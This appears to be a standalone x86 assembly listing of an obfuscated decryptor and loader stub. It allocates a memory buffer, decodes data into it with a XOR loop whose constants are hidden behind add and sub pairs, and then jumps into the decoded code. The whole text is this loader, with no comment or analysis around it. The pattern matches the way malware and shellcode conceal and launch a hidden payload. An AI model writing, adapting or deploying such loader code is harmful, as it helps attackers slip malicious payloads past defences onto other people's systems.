push 0x1000
push 0x3dc39
push 0
call eax
mov ecx, 0x4caf
xor edx, edx
add edx, eax
mov ebx, 0xa6fdf7c0
add ebx, 0x7e849e40
add ebx, dword [ebp - 0x44]
mov esi, 0xdbddeda0
sub esi, 0xb3dc76bb
mov edi, dword [ebx]
add dword [ebp - 0x20], esi
xor edi, esi
xor dword [ebp - 0x10], edx
mov dword [edx], edi
xor dword [ebp - 0x24], 0x8de31922
add edx, 0xea46189f
add edx, 0x15b9e765
add ebx, 4
loop 0x2580f333
add eax, 0x1258f
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0xa014e016
sub ecx, 0x7a94e016
add ecx, dword [ebp - 0x44]
call ebx
leave
ret